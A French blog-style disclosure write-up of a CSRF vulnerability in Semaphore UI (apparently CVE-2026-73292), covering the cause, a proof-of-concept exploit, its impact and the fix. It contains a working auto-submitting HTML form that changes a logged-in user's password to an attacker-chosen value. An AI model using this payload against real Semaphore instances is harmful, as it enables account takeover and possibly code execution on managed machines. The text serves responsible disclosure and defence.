CVE-2026-73292
Comment j’ai trouvé une faille CSRF dans SemaphoreUI
Section intitulée « Comment j’ai trouvé une faille CSRF dans SemaphoreUI »
Semaphore UI est une interface graphique permettant d’orchestrer des playbooks Ansible. Cette plateforme permet d’automatiser des rechargements d’environnement, des installations, ou d’autre tâche d’administration système. C’est dans cette application que j’ai pu identifier, qualifier et dévoiler ma première CVE de manière responsable (Responsible disclosure).
Le formulaire de changement de mot de passe de Semaphore UI ne demande pas de renseigner son ancien mot de passe. Egalement, en cherchant dans les entêtes, on s’aperçoit que toutes les conditions sont remplies pour exposer l’application à une vulnérabilité de type CSRF :
- l’authentification est gérée par un token qui n’est pas protégé par le header ‘Same-Site’
- Pas de token anti-csrf
- Pas de validation du mot de passe
Conception de l’attaque
Section intitulée « Conception de l’attaque »Pour prouver la présence de cette vulnérabilité, nous pouvons donc imaginer le scénario d’attaque suivant :
Du côté de notre serveur nous allons utiliser ce formulaire :
<html> <body>
<form id="CSRF_POC" action="http://localhost:3000/api/users/1/password" enctype="text/plain" method="POST">
<input type="hidden" name='{"password": "powned", "project_id": 1}' value='//}' /> </form>
<script> document.getElementById("CSRF_POC").submit(); </script>
</body> </html>Le formulaire est automatiquement soumis via un javascript à l’instance Semaphore ciblée. A la consultation de la page, le navigateur du client va donc soumettre le payload suivant à Semaphore UI :
{"password": "powned", "project_id": 1}Le mot de passe de l’utilisateur est alors modifié par une nouvelle valeur choisie par l’attaquant.
Exploitation
Section intitulée « Exploitation »Depuis un navigateur, on se connecte avec l’utilisateur ciblé à l’instance Semaphore UI. Depuis un autre onglet, nous allons visiter la page malveillante :
On observe que la requête de changement de mot de passe est bien exécutée. Pour confirmer la compromission, nous allons nous connecter avec le nouveau mot de passe :
Cette vulnérabilité permet à un attaquant de prendre le contrôle du compte d’un utilisateur. Selon la configuration de Semaphore UI et les droits de l’utilisateur, une compromission pourrait aller de la simple consultation d’information sensibles, à l’exécution de code arbitraire sur la machine Semaphore UI via le lancement de playbooks Ansible arbitraire. On peut également considérer un scénario où les machines contrôlées par Semaphore UI seraient compromises.
Correction et prévention
Section intitulée « Correction et prévention »Cette faille est désormais corrigée dans la version 2.18.21 de Semaphore UI par l’ajout de plusieurs éléments :
- Une validation de l’ancien mot de passe lors du changement. (Modification apportée en 2.18.26)
- L’ajout de l’attribut SameSite=Lax pour empêcher le cookie d’être envoyé lors de requêtes inter-site.
Le numéro CVE-2026–73292 a été attribué à cette vulnérabilité le 12 août 2026 par le CNA de GitHub.
Références
Section intitulée « Références »- Github security advisory source : GHSA-8cj9-r88m-8945
- POC : https://github.com/CamilleGR/poc-semaphore-csrf
- CVE : https://www.cve.org/CVERecord?id=CVE-2026-73292